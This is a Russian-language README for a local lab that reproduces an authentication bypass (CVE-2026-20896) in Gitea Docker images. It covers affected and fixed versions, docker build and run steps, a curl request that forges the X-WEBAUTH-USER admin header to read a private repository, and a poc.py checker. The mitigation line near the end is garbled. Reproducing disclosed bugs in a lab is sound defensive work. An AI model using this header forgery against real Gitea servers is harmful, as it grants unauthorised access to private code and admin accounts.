
Обход аутентификации в Docker-образе Gitea
[!WARNING] Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 — это обход аутентификации в затронутых официальных Docker-образах Gitea. Когда включена аутентификация через обратный прокси, генерируемая образом настройка REVERSE_PROXY_TRUSTED_PROXIES = * позволяет клиенту, имеющему доступ к бэкенду Gitea, выдавать себя за существующего пользователя через заголовок X-WEBAUTH-USER.
Лаборатория создаёт администратора с именем gitea-admin со случайным паролем и сохраняет CVE-2026-20896_AUTH_BYPASS_CONFIRMED в приватном репозитории gitea-admin/private-proof. Чтение этого файла без знания случайного пароля администратора демонстрирует обход аутентификации.
| Категория | Версия |
|---|---|
| Уязвимые | Официальные Docker-образы gitea/gitea ≤ 1.26.2 |
| Первая исправленная | 1.26.3 |
| Рекомендуемая | 1.26.4 или новее |
Уязвимая конфигурация требует, чтобы аутентификация через обратный прокси была включена, а бэкенд Gitea был напрямую доступен, либо чтобы вышестоящий прокси сохранял заголовок идентификации, предоставленный атакующим. Контейнер обратного прокси не требуется для локального воспроизведения.
# сборка
docker build -t cve-2026-20896-gitea-vuln .
# запуск
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Подождите несколько секунд, пока Gitea и приватный репозиторий с доказательством инициализируются.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Успешная эксплуатация возвращает CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Скрипт сравнивает неаутентифицированные запросы, запросы от не-администратора и подделанные запросы администратора и выводит VULNERABLE, когда обход авторизации подтверждён. Требуется Python 3.10 или новее; используется только стандартная библиотека.
REVERSE_PROXY_TRUSTED_PROXIES адресами доверенных прокси.docker stop cve-2026-20896-gitea-vuln